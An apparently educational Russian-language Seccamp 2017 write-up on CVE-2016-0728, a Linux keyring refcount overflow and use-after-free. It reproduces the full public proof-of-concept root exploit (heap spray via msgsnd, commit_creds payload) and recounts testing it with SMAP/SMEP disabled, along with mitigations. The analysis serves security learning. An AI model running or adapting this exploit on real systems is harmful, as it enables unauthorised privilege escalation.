
Образовательный эксплойт для ядра Linux, использующий CVE-2016-0728 (use-after-free в службе хранения ключей), с подробным анализом, PoC-кодом и обсуждением мер защиты от повышения привилегий.
Seccamp 2017 Задание
Следующая программа эксплуатирует уязвимость, существующую в ядре Linux с версий 3.8 по 4.4. Опишите проблемы, возникающие при выполнении этой программы. Кроме того, напишите эксплойт, который использует эту уязвимость для повышения привилегий до root, и объясните среду тестирования, а также моменты, на которые вы обратили внимание. Кроме того, перечислите как можно больше методов смягчения таких атак и объясните их. Не обязательно полностью понимать; опишите своими словами информацию, которую вы поняли, процесс попыток, ваши ощущения и т.д. Также, если есть ссылки на сайты или литературу, укажите их источники.
#include <stddef.h>
#include <stdio.h>
#include <sys/types.h>
#include <keyutils.h>
int main(int argc, const char *argv[])
{
int i = 0;
key_serial_t serial;
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {
perror("keyctl");
return -1;
}
for (i = 0; i < 100; i++) {
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
perror("keyctl");
return -1;
}
}
return 0;
}
Среда тестирования следующая:
$ uname -r
3.19.0-80-generic
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.5 LTS
Release: 14.04
Codename: trusty
Я впервые узнал об этой уязвимости, но опишу то, что выяснил в ходе исследования, и то, что попробовал в процессе. Сначала объясню службу хранения ключей, используемую в этой программе, затем уязвимость Use-After-Free, которую эксплуатирует данная программа, и её причину в программе, а также опишу, какие проблемы возникают. Эта уязвимость зарегистрирована как CVE-2016-0728, а её обзор был взят со следующего сайта:
Также, поскольку я впервые узнал о службе хранения ключей Linux, использовал веб-страницу IBM «Введение в службу хранения ключей Linux»
https://www.ibm.com/developerworks/jp/linux/library/l-key-retention.html
и исходный код ядра Linux 3.19 среды тестирования
Для отправки сообщений ядра на хост-ОС по сети использовал книгу DEBUG HACKS - Техники и инструменты для отладки (O'REILLY)
в качестве справочного материала.
Эта программа (далее называемая leak.c) эксплуатирует ошибку в службе хранения ключей Linux, что приводит к уязвимости Use-After-Free. Уязвимость Use-After-Free позволяет выполнить произвольный код, если из-за несоответствия программы происходит обращение к освобождённому адресу кучи. Сначала объясню системный вызов keyctl(), используемый этой программой, и опишу, какая ошибка в нём существует.
Каждый процесс может создать для текущей сессии своё кольцо ключей с помощью системного вызова keyctl(KEYCTL_JOIN_SESSION_KEYRING, name). Это кольцо ключей можно сделать общим между процессами, ссылаясь на его имя name. Если процесс уже имеет кольцо сессионных ключей, этот системный вызов заменяет его новым кольцом. Чтобы лучше понять эту операцию, я обратился к функции join_session_keyring в исходном коде ядра по пути /security/keys/process_keys.c. Она выглядит следующим образом. При замене сессионного кольца на новое функция key_put пропускается. Функция key_put уничтожает ссылку на переданное ей кольцо. Пропуская её, ссылка на новое кольцо остаётся, что приводит к уязвимости Use-After-Free.
Когда это кольцо является общим между процессами, внутренний счётчик ссылок, хранящийся в члене usage структуры key, увеличивается. Член usage имеет тип atomic_t, который на самом деле определён как typedef от структуры, содержащей одну переменную int. Кроме того, механизм предотвращения переполнения этого члена отсутствует, поэтому, увеличивая этот член, можно переполнить его до нуля и продолжать ссылаться. Когда член usage достигает нуля, сборщик мусора внутри подсистемы ключей освобождает это кольцо. Разместив в освобождённой области из пользовательского пространства другой произвольный модуль ядра, можно выполнить этот код с привилегиями ядра.
На справочном сайте при компиляции leak.c с библиотекой keyutils и выполнении, в /proc/keys появляется сессионное кольцо leaked_key, показывающее, что на него ссылались 100 раз. Было проверено, что до и после выполнения этой программы leaked-keyring отображается следующим образом:
# Перед выполнением
$ cat /proc/keys
$ ./leak
# После выполнения
$ cat /proc/keys
0fd435e9 I--Q--- 100 perm 3f3f0000 1000 1000 keyring leaked-keyring: empty
Однако в среде тестирования leaked-keyring не отображался. Когда я попробовал изменить условие цикла for на большое число, например i < 0x1000000, leaked-keyring отображался во время выполнения программы. В данном случае атака срабатывает при переполнении члена usage, освобождении key и размещении там нового объекта ядра. Поэтому я решил попробовать это на практике. Код эксплойта был взят со следующего сайта:
https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81091cc0)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81091fc0)
struct key_type {
char * name;
size_t datalen;
void * vet_description;
void * preparse;
void * free_preparse;
void * instantiate;
void * update;
void * match_preparse;
void * match_free;
void * revoke;
void * destroy;
};
void userspace_revoke(void * key) {
commit_creds(prepare_kernel_cred(0));
}
int main(int argc, const char *argv[]) {
const char *keyring_name;
size_t i = 0;
unsigned long int l = 0x100000000/2;
key_serial_t serial = -1;
pid_t pid = -1;
struct key_type * my_key_type = NULL;
struct { long mtype;
char mtext[STRUCT_LEN];
} msg = {0x4141414141414141, {0}};
int msqid;
if (argc != 2) {
puts("usage: ./keys <key_name>");
return 1;
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
my_key_type = malloc(sizeof(*my_key_type));
my_key_type->revoke = (void*)userspace_revoke;
memset(msg.mtext, 'A', sizeof(msg.mtext));
// key->uid
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
//key->perm
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
//key->type
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
keyring_name = argv[1];
/* Set the new session keyring before we start */
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
perror("keyctl");
return -1;
}
puts("Increfing...");
for (i = 1; i < 0xfffffffd; i++) {
if (i == (0xffffffff - l)) {
l = l/2;
sleep(5);
}
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
sleep(5);
/* here we are going to leak the last references to overflow */
for (i=0; i<5; ++i) {
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
puts("finished increfing");
puts("forking...");
/* allocate msg struct in the kernel rewriting the freed keyring object */
for (i=0; i<64; i++) {
pid = fork();
if (pid == -1) {
perror("fork");
return -1;
}
if (pid == 0) {
sleep(2);
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
for (i = 0; i < 64; i++) {
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
perror("msgsnd");
exit(1);
}
}
sleep(-1);
exit(1);
}
}
puts("finished forking");
sleep(5);
/* call userspace_revoke from kernel */
puts("caling revoke...");
if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
perror("keyctl_revoke");
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
execl("/bin/sh", "/bin/sh", NULL);
return 0;
}
В результате выполнения права не изменились, и оболочка запустилась с правами пользователя, запустившего программу. Сначала я подумал, что моя среда обновлена и патч уже применён, поскольку эта уязвимость была объявлена около января 2016 года, и до этого времени моя среда была обновлена. Поэтому я попробовал в новой виртуальной среде (kernel 3.18.52) изменить константы, но это не сработало. Кроме того, сообщалось, что эксплойт не работает при включённых механизмах защиты памяти SMAP и SMEP. SMEP запрещает выполнение кода из пользовательского пространства в режиме ядра, а SMAP запрещает доступ к адресам пользовательского пространства в режиме ядра. В комментариях к gist было несколько подтверждений, что на ядре 3.18.25 uid становился 0, но VM зависала. Я решил попробовать этот код. Ссылка здесь (https://gist.github.com/hal0taso/47e9a1820d109bb7739321189f1c8830). Я собрал ядро (kernel 3.18.25) с отключёнными SMAP и SMEP и попробовал. Среда выполнения следующая. SMAP был отключён в .config при сборке, а SMEP также отключён в файле конфигурации grub (/boot/grub/grub.cfg).
$ uname -r
3.18.25
При выполнении leak в этой среде /proc/keys стал выглядеть следующим образом:
$ cat /proc/keys
17990f68 I--Q--- 1 perm 1f3f0000 1000 65534 keyring _uid.1000: empty
3c04e61c I--Q--- 14 perm 3f030000 1000 1000 keyring _ses: 1
$ ./leak
$ cat /proc/keys
08054473 I--Q--- 100 perm 3f3f0000 1000 1000 keyring leaked-keyring: empty
17990f68 I--Q--- 1 perm 1f3f0000 1000 65534 keyring _uid.1000: empty
3c04e61c I--Q--- 14 perm 3f030000 1000 1000 keyring _ses: 1
Действительно, как на справочном сайте, объект связки ключей отображается. Затем я выполнил эксплойт, но и здесь оболочка запустилась с правами пользователя, запустившего программу. Поэтому я использовал команду watch для мониторинга /proc/keys с интервалом 0,1 секунды. Когда счётчик usage не достигал точно нуля (например, если при запуске эксплойта указать имя кольца, совпадающее с кольцом, созданным при прерывании программы, то после переполнения счётчик usage этого объекта снова увеличивался), я заметил, что join_session_keyring создаёт новый объект кольца. Таким образом, я предположил, что счётчик ссылок нужно точно настроить на ноль, иначе объект не освободится. Когда счётчик ссылок становился нулевым, кольцо действительно переставало быть видимым, что, вероятно, означало его освобождение. При многократном повторении выполнения я наблюдал, что root получен (uid=0, euid=0), но сразу после этого возникала паника ядра и VM зависала.
$ ./exploit PP_KEY
uid = 1000, euid = 1000
[+] increfs...
[+] finish increfs
[+] fork...
exploit...
uid = 0, euid = 0
Killed
Затем я попробовал перенаправлять сообщения ядра на хост-ОС через netconsole и читать логи, но, хотя я искал адреса констант, таких как commit_creds и kernel_prepare_cred, соответствующих мест не нашёл. В итоге мне не удалось получить root и запустить оболочку.
Из вышесказанного следует, что против атак с использованием этой уязвимости можно сделать атаки сложными, включив механизмы защиты ядра CPU, такие как SMAP и SMEP. Кроме того, через некоторое время после публикации уязвимости различные дистрибутивы предоставляют обновления ядра с патчами, поэтому применение этих обновлений может предотвратить атаку. В ходе исследования этой уязвимости, при выполнении PoC-кода на ядре 3.18.52, при мониторинге /proc/keys я заметил, что счётчик usage объекта связки ключей то увеличивался, то уменьшался, поэтому, возможно, между версиями 3.18.25 и 3.18.52 были изменены код, связанный с кольцами ключей, или функция abort_creds, используемая в join_session_keyring, что изменило механизм увеличения счётчика ссылок (здесь usage). Это предположение основано на том, что на справочном сайте счётчик usage увеличивался и уменьшался дважды в join_session_keyring, и важным моментом было то, что abort_creds выполняет асинхронное уменьшение счётчика ссылок после обработки RCU job.
Когда я исследовал эту уязвимость, я был удивлён и обеспокоен тем, что обычный пользователь может повысить свои привилегии до суперпользователя, но в ходе проверки PoC-кода эксплойта и исследований я узнал, что атакующий также должен определить версию ядра, а если включены SMEP и SMAP, то их также нужно обойти. Кроме того, успех не гарантирован, а неудача приводит к панике ядра, что может раскрыть атаку. В итоге я задался вопросом, действительно ли это полезный метод атаки.